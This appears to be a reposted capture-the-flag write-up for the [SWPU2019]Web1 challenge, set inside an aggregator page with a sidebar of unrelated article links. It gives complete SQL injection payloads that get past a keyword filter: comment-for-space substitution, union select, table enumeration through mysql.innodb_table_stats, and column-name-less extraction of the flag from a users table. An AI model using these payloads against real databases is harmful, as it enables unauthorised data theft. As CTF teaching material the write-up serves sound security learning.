当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:59:00 【pakho_C】
[SWPU2019]Web1
Try to register as admin,It shows that it already exists, but the blasting password is not revealed
Register a test account to log in
Apply to advertise
Attempt injection
Try using single quotes, and an error is reported
ExistenceInject, try the passcode

there is filtering, try to fuzz, but limit the number of times and do not allow the same ad title
soCan only test manually, filter or order floor updatexml # - etc, and automatically eliminate spaces, try to inline comments /**/bypass
Since or is filtered, then information_schema can't be used, only no columns can be usedName injection, refer to: SQL injection without column name injection
1. Use group by to get the number of columns: 1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
the number of columns is 22
2. Use union query to view echo points: -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
The echo point is 2 3
When looking up the table name, it is found that or is filtered and cannot be bypassed by capitalization and double writing, so information_schema cannot be used because it contains or.There are two ways to bypass
InnoDb Engine
Starting from MYSQL5.5.8, InnoDB has become its default storage engine.In versions above MYSQL 5.6, inndb adds two tables, innodb_index_stats and innodb_table_stats, both of which store information about the database and its data tables, but do not store column names.
sys database
In MYSQL above 5.7, a new sys database is added. The basic data of this library comes from information_schema and performance_chema, which does not store data itself.The table name can be obtained through the schema_auto_increment_columns in it.
Note: The sys library requires root privileges to access.innodb is disabled by default in mysql.
3. Use innodb to bypass and view the table name: -1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 
Get the table name ads users
4. Use columnless injection to view the content of the second field in the users table:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1Note: Select 1, 2, 3 used for joint injection here can be tested. If they do not match, there will be a reminder
Measured as 3 columns
Get the field name flag, then the first value in the third field is flag
Change the column to be queried to 3.
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
边栏推荐
- ffmpeg enumeration decoders, encoders analysis
- 大佬们,我注意到mysql cdc connector有参数scan.incremental.sna
- ffmpeg 像素格式基础知识
- This year's Qixi Festival, "love vegetables" are more loving than gifts
- Ali's local life's single-quarter revenue is 10.6 billion, Da Wenyu's revenue is 7.2 billion, and Cainiao's revenue is 12.1 billion
- ffmpeg pixel format basics
- [CISCN2019 华东南赛区]Web11
- UE4 第一人称角色模板 添加生命值和调试伤害
- Acid (ACID) Base (BASE) Principles for Database Design
- How to solve the three major problems of bank data collection, data supplementary recording and index management?
猜你喜欢

UI自动化测试 App的WebView页面中,当搜索栏无搜索按钮时处理方法

UE4 更改组件变量 (以修改第一人称角色模板的最大行走速度和跳跃高度为例)

This year's Qixi Festival, "love vegetables" are more loving than gifts

Based on holding YOLOv5 custom implementation of FacePose YOLO structure interpretation, YOLO data format conversion, YOLO process modification"

Open-Falcon of operation and maintenance monitoring system

Growth-based checkerboard corner detection method

How to discover a valuable GameFi?

将故事写成我们

Haproxy搭建Web群集
![[BSidesCF 2019]Kookie](/img/29/19e7c244feb86b37ab32a53aa11f25.png)
[BSidesCF 2019]Kookie
随机推荐
DEJA_VU3D - Cesium功能集 之 058-高德地图纠偏
YYGH-13-Customer Service Center
token, jwt, oauth2, session parsing
There are several common event handling methods in Swing?How to listen for events?
2022-08-04T17:50:58.296+0800 ERROR Announcer-3 io.airlift.discovery.client.Announcer appears after successful startup of presto
Redis1: Introduction to Redis, basic features of Redis, relational database, non-relational database, database development stage
Android实战开发-Kotlin教程(入门篇-登录功能实现 3.3)
运维监控系统之Open-Falcon
Open-Falcon of operation and maintenance monitoring system
第一次性能测试实践,有“亿”点点紧张
JeeSite新建报表
Walter talked little knowledge | "remote passthrough" that something
Ffmpeg - sources analysis
[SWPU2019]Web1
pyqt5 + socket 实现客户端A经socket服务器中转后主动向客户端B发送文件
The sword refers to Offer--find the repeated numbers in the array (three solutions)
2022 Hangzhou Electric Multi-School 1st Game
You may use special comments to disable some warnings. Three ways to report errors
DNS被劫持如何处理?
How to discover a valuable GameFi?